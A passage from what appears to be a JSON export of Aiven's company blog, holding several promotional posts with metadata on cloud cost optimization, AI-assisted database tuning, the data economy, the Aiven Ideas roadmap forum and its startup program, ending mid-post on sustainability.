efficiency.\n\n\n3. Finally, ensure that the appropriate monitoring and alerting configurations and best practices are in place. This will ensure you can easily detect abnormalities in your resource consumption and provide a real-time view of your cloud resources consumption at any given point in time. Bringing the correct monitoring and metrics components to your tech stack is a must-have when you are streamlining your cloud spend.\n\n\n### Cloud cost optimization strategies: a midterm approach\n\nNow it’s time to step back and take a look at the bigger picture of your overall architecture and tech stack. This is a midterm implementation strategy where you need to find answers to the following topics:\n\n1. What do your operational patterns look like now, and can they be optimized further? For example, are there spikes in utilization that you can predict based on specific company activities and plans in the coming months or quarters? Do you experience any seasonality in your sales or operations? Answering such questions will ultimately help you define an optimal strategy for provisioning your cloud operations for increased efficiency\n\n\n2. What do your dev, Q\u0026A and production environments look like right now? And can they be further streamlined? Ensuring that different types of instances are treated appropriately in your cloud infrastructure will make sure that your cloud resource pool is used optimally. Here you should consider using automation and IaaC tools such as Terraform, AWS CloudFormation, Azure Resource Manager, Google Cloud Deployment Manager and others.\n\n\n3. Which components of your overall tech stack need to be evaluated? Are there proprietary, commercial pieces in your infrastructure that can be easily migrated to open source alternatives at a fraction of the cost? What is the cost of operating and maintaining these proprietary pieces of infrastructure and how can this be reduced by turning to open source alternatives (especially when they are fully managed for you out of the box)? \n\n   Be sure to thoroughly examine and evaluate the different components of your architecture. Task your teams with finding alternative solutions that can do the same job possibly at a more competitive price point.\n\n   Additional benefits for choosing open source alternatives for your tech stack include getting access to a pool of developer talent from the community, having the opportunity to reuse some of your data assets and improving your developer productivity with familiar development tools used and developed by open source communities.\n\nOne company that has successfully implemented this is ‘clean’ digital asset data, insights, and research provider [Digital Asset Research](https://aiven.io/case-studies/digital-asset-research-boosts-resiliency-with-aiven). The team at Digital Asset Research reviewed specific components of its architecture and by moving to Aiven they were able to secure a 99.99% uptime, lower their costs by 25% and improve their performance by 10x when scaling their operations.\n\n\n### Cloud cost optimization strategies: an ongoing team effort\n\nNow it’s time to look more strategically into what your tech stack will look like for a sustainable growing operation in the years to come. Here you should take into consideration different components such as: \n\n1. **Your cloud vendor.** Which cloud vendor are you currently using and how happy are you with the level of service and cost provided by them? How will your cost structure be impacted once your services and applications expand to larger scale? Here you can evaluate whether moving to a different cloud vendor would bring reduced costs or improved service levels if your deployments increase in the future. You should also factor in other cloud migration costs — what downtime will you experience and how will this migration process impact your overall team productivity in the midterm? \n\n   Aiven supports a [painless migration process to a different cloud vendor](https://aiven.io/docs/products/postgresql/howto/migrate-cloud-region) or region with minimum to near-zero downtime. Additionally, Aiven has a global presence with [100+ supported cloud regions](https://aiven.io/docs/platform/reference/list_of_clouds) and can support you wherever you need to operate. An additional strategy could be staying with the same cloud vendor but choosing a different managed service to reduce costs and improve your overall cost predictability with a vendor like Aiven.\n\n2. **Your technology stack.** What tech are you currently using for your different use cases? And is it optimal? Is there a different piece of technology that can both lower your data management cost structure and better fit your specific use case(s), for example in terms of latency requirements or networking traffic volumes you expect in six or nine months from now? Thoroughly examine your architecture and ensure that the chosen tech stack is future-proof and can support your organization in the quarters/years to come. \n\n   Aiven’s easy migration process allows you to move to a different, open source managed service that can support your growth without exploding your cloud expenditure. Aiven  services are deployable in the cloud of your choice, so there’s no need to change or move away from your hyperscale cloud provider if you choose to leverage any multiyear spend commitments you have secured with them already.\n\n   A company that has done it successfully is delivery service [Wolt](https://aiven.io/case-studies/aiven-delivers-for-wolt-business). Wolt has been investing in its technology stack, building a platform that can scale for quick expansion and future growth. *“One of the key enablers for us to compete successfully in the delivery space is the fact that Wolt has been investing heavily in the platform and the technology,”* said Mikko Peltola, Head of Infrastructure at Wolt. *“We’ve invested in building a platform that supports quick expansion and growth for our business.”*\n\n3. **Last but not least your team.** Does your current code and technology limit your developer productivity? How can you make your developers both more productive and successful with the chosen suite of technologies they are using? Are they happy operating and maintaining pieces of software that are aging fast? Or would they rather deploy open source technologies backed by vibrant and live communities that they can become a part of and contribute to? Ensuring that your tech stack meets (or even exceeds) the needs and demands of your tech team will significantly improve your team’s productivity and reduce your talent turnover, giving you a competitive advantage in the challenging recruitment market.\n\n::banner[Optimizing cloud infrastructure can not only save you money, but also improve efficiency and support business growth. ]{ctaText=\"Read more on optimizing your cloud spend\" ctaLink=\"https://landing.aiven.io/optimize-your-cloud-costs-with-aiven-data-platform/\" title=\"Optimize your cloud costs with Aiven’s data platform\" theme=\"light\"}\n\n\n## Wrapping-up\n\n[Optimizing cloud infrastructure costs ](https://landing.aiven.io/optimize-your-cloud-costs-with-aiven-data-platform/)is often seen as a quick fix rather than a strategic, long term and ongoing effort. While there are immediate steps you can take to reduce costs quickly, the mid to long term strategies are critical to ensuring a sustainable and cost-efficient mode of operating as a successful technology group. \n\nOur team of experts at Aiven runs regular workshops with customers on what a potential cost optimization strategy could look like — tailored to the use case, existing tech stack and setup. If you are interested in finding out more about how your services and cloud spend can be further streamlined, [get in touch](https://aiven.io/contact) with our team today and schedule a call.\n\nNot an Aiven customer yet? You can [schedule a demo](https://aiven.io/book-demo) and explore one (or multiple) of the 11 open source technologies provided in the Aiven console. Be sure to check them out.\n\n## Further Reading\n\n- [What is ETL?](https://aiven.io/glossary/what-is-etl)","categories":[{"_key":"d429d1c12cad","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"cd140200c826","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Cloud infrastructure cost optimization, cloud cost optimization, Aiven data infrastructure","asset":{"_ref":"image-556c74341f59c87a641f332e857c906f51165502-1567x844-png","_type":"reference"}},"publishedAt":"2023-04-20T11:13:05.199Z","related":[{"_key":"767d8ebd8f6c","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"ea0ed23fe0d3","_ref":"3MggLA9OLDbYdLjn5eZSx6","_type":"reference"},{"_key":"dab154ebf108","_ref":"47NwTuWwRg9g7l0ywIXsIR","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Cloud cost optimization is a topic that comes up frequently in client interactions. Read on to learn how to cut your infrastructure costs.","metaImage":{"_type":"mainImage","alt":"Cloud infrastructure cost optimization, cloud cost optimization, Aiven data infrastructure","asset":{"_ref":"image-556c74341f59c87a641f332e857c906f51165502-1567x844-png","_type":"reference"}},"metaTitle":"What to Consider When Optimizing Cloud Infrastructure Costs"},"slug":{"_type":"slug","current":"/blog/optimizing-cloud-infrastructure-costs"},"subtitle":"Cloud cost optimization is a topic that comes up frequently in client interactions. Read on to learn how to cut your infrastructure costs.","title":"Things to Consider When Optimizing Cloud Infrastructure Costs"}
{"__i18n_lang":"en","_createdAt":"2024-01-10T22:53:39Z","_id":"51b147a9-2d2f-4b72-a8c4-eb5bb6f99d5d","_rev":"sEwq5NBiPauorOxrhi8RNP","_type":"post","_updatedAt":"2024-11-19T06:03:58Z","authors":[{"_key":"2716036a5bf6","_ref":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_type":"reference"}],"body":"Optimizing databases has been a constant struggle from the early days of DBAs working on mainframes, through the transition to distributed systems, and continues to be a struggle today. The engineers of today manage a numerous and diverse set of data systems and data architectures. As cloud platforms were introduced, the diversity exploded along with heavy usage of data streaming technologies. The challenge of managing this diversity became insurmountable as it quickly outpaced what a single person or even a team of experts could manage. \n\n## The current state of optimization\n\nToday, the availability of tools which suggest improvements or optimizations is limited. The choice is between a few commercial offerings, some rather stagnant open source tools, and several extensions to popular databases platforms which offer a diverse set of optimization capabilities. When it comes to optimization, there are two methods that can be adopted: automated or non-automated.\n\nOn the non-automated side, most of the databases provide basic tooling for programmers to build performance visibility and (possibly) optimization automation. These foundational tools are included in commercial offerings or part of the community for open source data technologies. Such tools enable profiling, monitoring, vacuuming, and being able to tweak the configuration of the runtime itself. The most innovative technologies out there also provide indications as to how you might optimize a query or when indexes should be added. These are largely centered around relational databases and require an understanding of database internals. \n\nOn the automated side, there are open source extensions and tools which autonomously build indexes to optimize performance, along with capturing metrics to drive and test the automation. There is not much else which is automated to help unless you enlist commercial software. There are companies in that space who will automate selecting of indexes, including the [EverSQL by Aiven] (https://eversql.com/) technology, which we are building into the platform. The other aspect is the configuration of the given system. These tools look at the settings on a specific database, but do not tend to look at the operational nature of the database workload. Tuning configurations can have a big impact on performance. Keep in mind, all of these techniques are only focused on today’s distributed relational databases. \n\n## Applying new techniques to solve this for streaming systems\n\nIn the future, we will have a broad application of AI to solve the same problems with relational databases. But the bigger dataset today is flowing through streaming systems, such as the popular Apache Kafka solution, which have complex needs to tune and optimize. Examples of Kafka tuning include automated partitioning of data across a cluster of Kafka servers to ensure the workload is balanced, applying configuration settings to Kafka  topics to size the right retention, and automating the use of tiered storage. At an even lower level, we can change the segment sizes and compression of the topics to further seek performance gains from a given sized Kafka cluster. \n\nOutside of Kafka, there are immense sets of data in non-relational databases. One example we see in the community is the opportunity to improve OpenSearch performance. There is currently a lack of products aimed at optimizing OpenSearch; however, some enhancement in commercial software are driving performance improvements by optimizing mappings and the usage of templates. Some settings on specific indices can be set on optimal refresh intervals, number of shards, and replicas. If you are on Aiven, optimization can be taken a lot further. One possible solution for write back pressure on OpenSearch clusters is to use Kafka as a buffer. Kafka can queue the incoming data and reduce the load on OpenSearch. This way, we can avoid paying for bigger OpenSearch clusters and save money.\n\nOnce the work is done to optimize the infrastructure, we can dedicate some focus on tuning the queries which are impacting the data stores. We can learn from the lessons in the relational database space to drive optimization in other spaces like OpenSearch. By adjusting the caching parameters or being able to provide users with filters suggestions, we can further enhance the query performance. Furthermore, based on the workload specifics, we can start tuning low level settings in the OpenSearch JVM like the heap size. Finally, we can apply best practices to indices, including doc values and _sourceid settings, which can improve query performance based on the data structure on disk.\n\n## How AI can help data infrastructure optimization\n\nMost of the solutions so far on the market are human labor based: data experts monitoring the cluster workloads health and tuning knobs based on their observations. However, this approach is not scalable. With more and more clusters to monitor, and with the increasing variety of technologies involved in a data project, relying on humans to monitor, understand anomalies and address them manually is not future-proof or affordable. Just a sick day of an expert could generate slowness, downtime, and related financial impacts.\n\nThis is where AI can help. By automatically monitoring data infrastructure clusters, identifying anomalies and providing suggestions about best practices to implement, we can reduce the burden on humans, optimize their productivity and enhance the overall data infrastructure performance and cost. Moreover, by pushing performance optimization suggestions to developers and data professionals, we can enhance the data literacy and education of the entire workforce.\n\n## The results of optimization\n\nThe net result of the AI-driven optimization process is not only a better data experience, but also increased developer productivity and education. Once the teams are aware of what is possible and what can be automated, the improvements can not only speed things up but reduce costs as wasted infrastructure can be removed or repurposed. Here at Aiven our goal is to help our customers rightsize their plans, directly impacting their costs and improving the bottom line. We look forward to the future when we can embed our AI-powered optimization technologies across the product portfolio of leading open source databases and data streaming technologies. \n\n\n## Further reading\n\n- [Static IP addresses for your data infrastructure](https://aiven.io/blog/static-ip-for-your-service)\n- [What is ETL?](https://aiven.io/glossary/what-is-etl)","categories":[{"_key":"008d66138175","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"7d71e893dcfd","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"How AI can help data infrastructure optimization","asset":{"_ref":"image-41ecbc9789dcc9567a291f964aea5b904e0dd078-1200x628-png","_type":"reference"}},"publishedAt":"2024-01-10T14:00:44.777Z","related":[{"_key":"f6d587389575","_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"AI-driven database optimization improves data and developer productivity, speeding up processes and cutting costs. Find out how Aiven can help!","metaImage":{"_type":"mainImage","alt":"How AI can help data infrastructure optimization","asset":{"_ref":"image-41ecbc9789dcc9567a291f964aea5b904e0dd078-1200x628-png","_type":"reference"}},"metaTitle":"How AI can help data infrastructure optimization"},"slug":{"_type":"slug","current":"/blog/ai-in-database-and-streaming-system-optimization"},"subtitle":"The net result of an AI-powered optimization process is not only a better data  experience, but also increased developer productivity. Once the teams are aware of what can be automated, the improvements can not only speed things up but reduce costs.","title":"How AI can change the game in the database and streaming system optimization field"}
{"__i18n_lang":"en","_createdAt":"2024-11-25T15:17:41Z","_id":"0ad4e125-5238-4750-a6d4-0edba23b4856","_rev":"CsJhS699U5wscrFy6aW0Aa","_type":"post","_updatedAt":"2024-12-05T09:00:08Z","authors":[{"_key":"d3395abf77e9","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"This is the second piece in our Data Economy series. While the first, available [here](https://aiven.io/blog/the-data-economy-a-one-trillion-euro-windfall-for-europe-in-2025), looked at the data economy as a whole and why it is important, this piece looks more specifically at the environment around the data economy. This includes both the environment needed for it to thrive and the ecosystem of companies and businesses that are being created in order to evolve it. We also explore the role of the [Aiven Cluster startup program](https://aiven.io/cluster) when it comes to supporting the companies that will be the cornerstone of the data economy in years to come.\n\n::youtube[Creating an environment for the data economy to thrive.]{#Bdr7YWRNFSQ}\n\nThe data economy is one in perpetual motion, constantly being driven by new and innovative companies entering the market. It’s a technological equivalent of the chicken and egg scenario.\n\nDo these new, data-oriented companies grow because the environment is right for them to do so or do they, by their very being, create the environment in which others can follow? In truth, it’s probably a bit of both. But what does that environment look like and, perhaps more pertinently, what about it is attracting those companies intent on improving it for those that are to follow?\n\n## How to become a tech superpower\nWe covered precisely what the data economy offers in the first [article](https://aiven.io/blog/the-data-economy-a-one-trillion-euro-windfall-for-europe-in-2025) in this series. Understanding customer behavior, optimizing supply chains and predicting market shifts are just a few ways in which data-driven insights foster innovation. Start-ups and established enterprises alike leverage data to identify untapped opportunities, enhance product and service offerings, and streamline operations. In that regard, who wouldn’t want to be part of it?\n\nGovernments are also wise to the possibilities. For instance, last year the [UK government](https://www.gov.uk/government/news/plan-to-forge-a-better-britain-through-science-and-technology-unveiled) announced its ambition to become a global science and technology superpower by 2030. This included a raft of new measures backed with GBP 370 million to “*boost investment in innovation, bring the world’s best talent to the UK, and seize the potential of ground-breaking new technologies like AI*”.\n\nOnly 18 months down the line and the initiative is already having an impact. A recent [study](https://www.aboutamazon.co.uk/news/aws/uk-digital-technology-report-2024) commissioned by AWS found that there has been a marked increase in UK companies adopting new technologies like AI. On top of that, it also reported that this acceleration could add GBP 520 billion to the UK economy by 2030, and help the UK to meet its ambition to become a tech superpower as early as 2028.\n\nBeyond the headline figures, this tells us a couple of things. Firstly, that the right environment will breed the right types of company and secondly, that today’s companies are eager to become influential elements of the wider data economy.\n\n## If you can’t access it, you can’t use it\nYet you can’t simply buy a ticket to join the data economy. Nor will blindly throwing money at it grant access. To join the data economy, businesses need to first get to grips with their data. A point made clear in a recent conversation we had with **Luca Eisenstecken, investor at** [Atomico](https://atomico.com/), who said:  \n\n\u003e The best companies, in relation to the data economy, have a few common traits, such as deep curiosity and desire to use cutting edge technologies to gain an advantage over competitors.\n\nThe ability to access all forms of data is an integral part of becoming a fully functional member of the data economy, however many organizations lack fully unrestricted access to data. This failure to break down internal data silos, impedes data sharing and collaboration across an organization’s business unit. It was a point reinforced by one of our [Aiven Cluster startup program](https://aiven.io/cluster) participants, **Nilesh Bansal, co-founder and CTO at** [Workorb](https://www.workorb.com/), who said: \n\n\u003eData accessibility is hindering the data economy because if you cannot access the data, you cannot use it. Period. \n\nWorkorb is founded on the premise of helping companies harness the power of AI to create tools that enhance their productivity and streamline their workflows. \n\n## An ecosystem of cooperation\nThe more data an organization has, the more it can use and the bigger role it plays in the data economy. It’s a self-fulfilling prophecy and one of the reasons why there is a disparity between companies at either and of the data scale. A point explained by **Jérémy Barneron, Senior Software Engineer at fintech start-up**, [Dojo](https://dojo.tech/make-every-second-count/) who said, “*The larger tech companies have already mastered the data economy and how to make sense of their data in real-time to grow their revenue and deliver value to their customers. We need to start leveling the playing field and find a way to make data accessible to start-ups so they can compete with the larger companies.*”\n\nThe whole premise of the data economy falls down if the data — and therefore power and influence — is held by a minority of big, influential companies. Organizations must be part of a data economy based on ecosystems of parties cooperating on shared goals whilst not losing sight of their respective bottom lines.\n\n## Cluster program\nIndeed, the data economy exists precisely because those involved are willing to share, give back and help. And it’s working at both a public and private level.\n\n[The European Commission](https://eit.europa.eu/news-events/news/nine-eit-digital-supported-companies-approved-eic-accelerator-fast-track) is Europe’s largest deep tech investor and the EIC Accelerator is one of the most competitive public funding schemes in the world. It invests in technology to bring about positive societal, economic, environmental and climate impacts. There are any number of private schemes but perhaps the most well-renowned is [Google for start-ups](https://startup.google.com/) — since graduating from [Google’s accelerator programs](https://blog.google/outreach-initiatives/entrepreneurs/accelerator-impact-report/#:~:text=These%20startups%20now%20employ%20nearly,REDD%2B%20project%20in%20Acre%2C%20Brazil.), 20 alumni have gone on to become unicorns (privately-owned startups with a valuation of over USD 1 billion) — and one is even a decacorn (privately-held firm that exceeds the valuation of USD 10 billion). These startups now employ nearly 120,000 people worldwide.\n\n**Andra Nuta**, who runs the Aiven Cluster startup program which offers start-ups up to USD 100,000 in credit to use on Aiven’s fully managed services for a year, said, “*Think of the business world as an ecosystem. At first glance, it might seem like all these different companies — big corporations, tiny startups — are operating independently. But in reality, they're interconnected. A small startup can actually leverage the resources and expertise of larger companies by partnering with them. This collaboration creates a win-win situation where both the startup and the established company benefit.*”\n\n## A blueprint for wider society\nIn many respects, the data economy is a blueprint for wider society with participants working to a greater good while not losing sight of their own goals and objectives. It is also one where new entrants are not only welcomed, but helped to thrive and compete.\n\nImagine an environment that is well balanced, encourages growth and improvement, gives back to its members and improves life for all involved. This isn’t a Utopian society or a rose-tinted vision of a future we’re yet to realize. It’s the here and now and that’s why the data economy is the greatest operating environment the world has ever seen. \n","categories":[{"_key":"932964104d93","_ref":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_type":"reference"},{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Is the data economy the world's greatest operating environment?","asset":{"_ref":"image-258372e4ca2e141814c24ceccda13db144a08cae-1200x630-png","_type":"reference"}},"publishedAt":"2024-12-03T14:42:34.843Z","related":[{"_key":"bbac45ef9dcf","_ref":"ed060249-9434-471e-aa59-4802e435a290","_type":"reference"},{"_key":"2f83167b4fac","_ref":"a206e792-7b27-449f-8716-f1fb92cb70e4","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The building blocks of the Data Economy are reliant on organizations of all sizes working together on shared goals, instead of their own interests.\n","metaImage":{"_type":"mainImage","alt":"Is the data economy the world's greatest operating environment?","asset":{"_ref":"image-258372e4ca2e141814c24ceccda13db144a08cae-1200x630-png","_type":"reference"}},"metaTitle":"The Data Economy: Becoming a Tech Superstar"},"slug":{"_type":"slug","current":"/blog/is-the-data-economy-the-worlds-greatest-operating-environment"},"subtitle":"Is the Data Economy the World’s Greatest Operating Environment?","title":"Is the Data Economy the World’s Greatest Operating Environment?"}
{"__i18n_lang":"en","_createdAt":"2023-07-19T09:08:13Z","_id":"abbc29b7-31fd-4f58-b379-96cf451ea710","_rev":"sEwq5NBiPauorOxrhfBVI1","_type":"post","_updatedAt":"2024-11-18T12:59:29Z","authors":[{"_key":"4fc20bc9a278","_ref":"e0a137e9-37e9-4442-9281-24f3904a5734","_type":"reference"}],"body":"Transparency is at the forefront of any trusting relationship. We've heard that many Aiven customers want to have visibility to our future product plans, and that they also want to collaborate more closely with Aiven’s product teams by contributing their ideas and opinions. With these goals in mind, we are excited to announce the launch of [Aiven Ideas](https://ideas.aiven.io/), our public product roadmap.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/a7af92161144f4cf98fbe33bc917bec611e50d1b-1223x1209.png?w=450)\n\n\nWith Aiven Ideas, you can influence the direction of Aiven's product development. It's a forum where you can interact with our product team, give feedback on existing features, post ideas for new features, and vote on the ideas of others. You can receive notifications when the status of ideas change, so you can see how they evolve into new features. Our team will keep a close eye on your ideas and feedback, and we may reach out to you if we need more information.\n \nFor example, if you want to run custom code in Aiven for Apache Flink®, you can navigate to [this idea](https://ideas.aiven.io/forums/951277-event-streaming/suggestions/46266534-allow-inspected-custom-code-jars-in-apache-flink), vote for it, provide information about your use case in a comment, and say how important this feature is for you.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/16d5763cdca5b6e4da6ebfb474d287e75195a0c6-1410x812.png?w=450)\n\nOur product team wants to hear your opinion. Take action now and register on [Aiven Ideas](https://ideas.aiven.io/) to give feedback and new ideas. We can’t wait to hear from you!\n\n-----\n\n[Aiven Ideas](https://ideas.aiven.io/) is for sharing ideas about how to improve Aiven’s trusted open source data platform. To see what the product team has been up to lately, please check out the summary [blog post](https://aiven.io/blog/whats-new-at-aiven-q22023) or join the [webinar](https://aiven.io/webinar/whats-new-with-aiven-q2q3-2023) of our recent announcements. For general discussions and advice on the open source technologies we provide as a service, please use the [Aiven community forum](https://aiven.io/community/forum/). If you are experiencing issues with our products and want to report a bug, then file a support ticket directly in the [Aiven Console](https://console.aiven.io/).\n","categories":[{"_key":"25f756ebaf4a","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"887c7635f35e","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"7bc14a522a91","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-3661fa2f5f9e582c3b4f967803e2a25180e616a5-1567x844-png","_type":"reference"}},"publishedAt":"2023-08-02T11:06:46.412Z","related":[{"_key":"b9ffadad40fd","_ref":"577fa3d1-0ee8-42eb-b60d-c4ba693d1a15","_type":"reference"},{"_key":"2e7efaa015ef","_ref":"04de65a3-9096-49e0-a7b2-5fafc4d0f7d5","_type":"reference"},{"_key":"38c29c245896","_ref":"e25ec9b4-5d42-4b5b-8ff0-87001bbce526","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Aiven Ideas | Shape Our Product Development"},"slug":{"_type":"slug","current":"/blog/announcing-aiven-ideas"},"subtitle":"At Aiven, we are doubling down on openness by making our product roadmap publicly available. Register now to provide your feedback and new ideas for development","title":"Announcing Aiven Ideas - your chance to shape the direction of our product development"}
{"__i18n_lang":"en","_createdAt":"2023-02-28T08:38:37Z","_id":"a994f8fb-2ada-45d0-a99e-8b8d7d11d15b","_rev":"sEwq5NBiPauorOxrhihGLD","_type":"post","_updatedAt":"2024-11-19T09:57:11Z","authors":[{"_key":"489997d4202c","_ref":"d7d54e25-0f96-4e68-88fd-bb682d5c2d67","_type":"reference"}],"body":"We are thrilled to announce the latest batch of innovative startups joining the Aiven Cluster Startup Program. \n\nHere at Aiven,  we are committed to supporting and empowering emerging companies in their journey towards success. We’ve been in their shoes in our early days and we understand the importance of optimizing resources and the support that trusted partners offer. Participating in startup programs as a young company and utilizing the credits and expertise we received through these programs was instrumental to our success. That's why we're dedicated to giving back to the startup community. By offering engineers access to our open source data platform, we want to help them prioritize product development and unleash their potential.\n\nWith this new cohort, we are welcoming new startups to the cast. So, without further ado, let's meet the 8 remarkable startups that have joined the Aiven Cluster family!\n\n\u003c!--\n![Logos for Cluster, Timeplus, Matchmade, Capply, Resourcify, Vest, Layer, Alving and Sidos](https://cdn.sanity.io/images/sczeoy4w/production/8da83cc4378a99f7569668733dd1231e45b0d452-960x540.png)\n--\u003e\n\n\n- **[Timeplus](https://www.timeplus.com/)** (United States) Headquartered in Santa Clara, California, Timeplus are developing an innovative streaming SQL database and real-time analytics platform.\n\n- **[Matchmade (SharkPunch Oy)](https://matchmade.tv/)** (Finland) help advertisers and YouTube creators work together in a better way so advertisers can focus on results and creators on content their audiences love.\n\n- **[Alvin](https://www.alvin.ai/)** (Estonia) Alvin’s mission is to enable teams of all sizes to improve the quality and usability of their data. Their core data lineage technology automatically builds and maintains a highly accurate dataset that represents the connection between columns, tables, dashboards, jobs, ML models and people.\n\n- **[Resourcify](https://www.resourcify.com/en/)** (Germany) provides an operating system for recycling and waste management. They’re connecting companies and recyclers together to make recycling easy, fast and affordable - with one software for all locations, recyclers, containers, and waste streams.\n\n- **[Vest](https://mivest.io/)** (Mexico) want to empower Latin America to build its financial future by making investing simple, accessible, and transparent for all. They make it magically simple to open an investment account in the U.S., put dollars in that account, and invest in public equities through a combination of trading and managed portfolios.\n\n- **[Layer](https://layer.ai/)** (Turkey) are providing an AI-assisted game asset generation platform.\n\n- **[Capply](https://capply.co/)** (Sweden) offers a digital freight platform for non-contracted loads, addressing the inefficiencies in today’s freight market.\n\n- **[Sidos](https://sidos.com/)** (Finland / United States) develops tools to design and troubleshoot Wi-Fi networks. Sidos has a hardware device, an app and a cloud backend to collect and process the measurement data. This allows non-experts to troubleshoot networks and frees the expert users from the burden of always traveling to the target site since many operations can be done in the cloud.\n\n---- \n\nAs part of the program, the startups will unlock up to $100,000 credits to spend on Aiven's powerful open source data platform, expert technical support, a community of like-minded entrepreneurs and opportunities to participate in events and media appearances together with Aiven.  \n\nWe are excited to witness the growth and achievements of these startups as they leverage the Aiven Cluster's resources to scale their businesses and make a significant impact in their respective industries.\n\nInterested? Learn more about the [Aiven Cluster Startup Program](https://aiven.io/cluster)!\n\n\u003c!--\n![A picture of a hand with a happy crab sitting on its palm, and the text Get a helping hand from Aiven Cluster](https://cdn.sanity.io/images/sczeoy4w/production/78889a417971b3ac4c253960b655195767b02766-2000x2000.jpg)\n--\u003e \n","categories":[{"_key":"bc92c7a2584e","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"fec842ea1fb0","_ref":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The words \"Cluster startup program: our newest participants\" on a blue background, with the Aiven cuddly crab logo at the bottom left","asset":{"_ref":"image-6601ef6fe9482b1a38fe5c393355c08c12df4701-1567x844-png","_type":"reference"}},"publishedAt":"2023-06-12T07:47:19.381Z","related":[{"_key":"60e5788f5d90","_ref":"18fLg2vAgBM4cu7qP3u2XJ","_type":"reference"},{"_key":"082df4013352","_ref":"a206e792-7b27-449f-8716-f1fb92cb70e4","_type":"reference"},{"_key":"254300b5ac82","_ref":"2521aAC97RKCIw0JBvV5Ex","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven believes in paying back to the startup community – it is where we come from. Find out about the latest companies to join our Cluster Startup Program.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7698db9c98e4e6312ac5f96c3c1092676c7cb20a-2500x1308-png","_type":"reference"}},"metaTitle":"New Companies Join the Aiven Cluster Startup Program"},"slug":{"_type":"slug","current":"/blog/cluster-update-2023-06"},"subtitle":"Aiven believes in paying back to the startup community - it's where we come from. Read on to find out about the latest companies to join our Cluster Startup Program.","title":"Introducing the newest cohort of startups joining the Aiven Cluster Startup Program"}
{"__i18n_lang":"en","_createdAt":"2024-03-13T08:59:39Z","_id":"18ce7815-fd28-4817-806a-e24532560b82","_rev":"sEwq5NBiPauorOxrhiRXiA","_type":"post","_updatedAt":"2024-11-19T08:16:01Z","authors":[{"_key":"c643626dd3b3","_ref":"0698846c-82e6-426e-9319-ae955305435f","_type":"reference"}],"body":"If I were to ask you what marine biologists and database engineers have in common, you’d think it was the beginning of a nerdy joke. There probably is one in there somewhere but, as someone that has sat on both sides of the fence – or operated on both sides of the water’s surface to continue the analogy – I can say with certainty that the parallels are more common than coral on the Great Barrier Reef.\n\nBoth marine biologists and database engineers play crucial roles in collecting, analyzing and utilizing information to understand ‘cause and effect’. Whether it’s factors relating to fish populations and pollution levels or data management and system design, the objectives are the same — to find ways of improving the environment in which they are concerned. \n## Five common traits shared \nIt means both professions share five common traits that make the people doing the job, tick. They are also key to shaping how businesses engage with sustainability initiatives and underpin the likelihood of success. These are:  \n\n1. **Problem-solving through data gathering**: Both professions analyze complex data sets to understand causes and effects. With so much data generated within an enterprise, the first step when investing in sustainability after defining a strategy is to review the types of data available across the organization and to identify what data could be relevant to track the success of sustainability initiatives. This will help determine the systems required to gather and aggregate the right information, as well as addressing existing data gaps.\n2. **Building models for the future:** Instances like forecasting potential emission reduction pathways of an organization can require multitudes of data sources to feed into complex models and calculations, which might also be based on assumptions and have limitations that need to be considered carefully. It means that the ability to build flexible and scalable models is paramount — a skill at the core of both marine biology and database engineering.\n3. **Communication and collaboration for impact:** Both fields also rely on effective communication to translate complex technical knowledge for diverse audiences. For a company to demonstrate sincere commitment to prioritizing clear, sustainable actions across every area of the organization, it’s essential to set smart targets, communicate progress over time and put in place strong governance processes.\n4. **Adaptability and continuous learning:** Both fields demand constant learning and adaptation and thrive in dynamic environments where knowledge evolves rapidly. This is fundamental to enterprises looking at sustainability initiatives where making a difference often means constant tweaks and changes to ways the business operates. For instance, finding ways to make environmentally conscious choices throughout the data storage lifecycle, from data acquisition to disposal.\n5. **Passion for a greater cause:** Both professions are driven by a passion for a greater cause. If companies are unable to blend data and sustainability, they will lose competitiveness and resilience in the years to come.\n## Contribute to a better future\nThrough their data-driven approaches, communication skills, and dedication to their respective causes, both professions can contribute significantly to a better future. The plight of our oceans is well-documented but, in an era of sustainability on a global scale, the role of the technology sector must not be underestimated. This is because technology in this scenario has a dual purpose. \n\nThe first is that since technology is now so universally adopted and the basis for operations in almost every sector of business, it plays a fundamental role to accelerate the transition to net-zero emissions and scale positive impact. The second is that, because technology is constantly evolving and improving, many are using it as the basis to come up with the answers for the questions we need to solve around climate change.\n\nNever before have technology and sustainability been so important, interconnected and influential.\n## Sustainability at Aiven\nIt is why sustainability must be at the heart of doing business today and is something we take seriously at Aiven. Indeed, one of our objectives is to deliver ‘disproportionate impact’. That is, we intentionally drive actions that echo far beyond our scale and expectations, creating a ripple effect of positive impact that amplifies our influence and inspires change.\n\nOne such example is a project where we are working to develop an [open-source tool](https://github.com/Aiven-Labs/python-cloud-emission-estimator) based on this [plugin 